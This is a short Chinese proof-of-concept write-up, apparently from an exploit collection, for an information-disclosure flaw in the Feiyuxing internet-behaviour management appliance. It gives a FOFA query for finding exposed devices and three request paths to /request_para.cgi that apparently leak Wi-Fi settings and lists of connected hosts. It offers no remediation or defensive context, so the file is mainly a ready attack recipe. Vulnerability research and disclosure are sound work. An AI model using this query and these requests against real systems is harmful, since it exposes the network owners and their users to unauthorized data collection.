POC00/飞鱼星智能上网行为管理系统存在敏感信息泄露漏洞.md

# 飞鱼星智能上网行为管理系统存在敏感信息泄露漏洞

# 一、漏洞详情
飞鱼星智能上网行为管理系统存在敏感信息泄露漏洞

# 二、影响版本
+ 飞鱼星智能上网行为管理系统

# 三、资产测绘
+ fofa`<font style="color:rgb(51, 51, 51);">title="飞鱼星企业级智能上网行为管理系统"</font>`
+ <font style="color:rgb(51, 51, 51);">特征</font>

![1710903993282-74c0565e-7ea8-4511-909f-4be0e632c2a7.png](./img/9AG4ORDV7IedqzFz/1710903993282-74c0565e-7ea8-4511-909f-4be0e632c2a7-769660.png)

# 四、漏洞复现
```plain
/request_para.cgi?parameter=wifi_info
```

![1719499181319-44ab815f-87e4-4cb2-b72d-0148d1a1af29.png](./img/9AG4ORDV7IedqzFz/1719499181319-44ab815f-87e4-4cb2-b72d-0148d1a1af29-508727.png)

```plain
/request_para.cgi?parameter=wifi_get_5g_host
```

![1719499500867-37ec082b-126b-4b69-a318-1bce91a416df.png](./img/9AG4ORDV7IedqzFz/1719499500867-37ec082b-126b-4b69-a318-1bce91a416df-114550.png)

```plain
/request_para.cgi?parameter=wifi_get_2g_host
```

![1719499611173-9f2abb60-be50-4582-ba17-dab541a20841.png](./img/9AG4ORDV7IedqzFz/1719499611173-9f2abb60-be50-4582-ba17-dab541a20841-304644.png)



> 更新: 2024-09-03 14:56:23  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/qqt2qnbf01gqw3g6>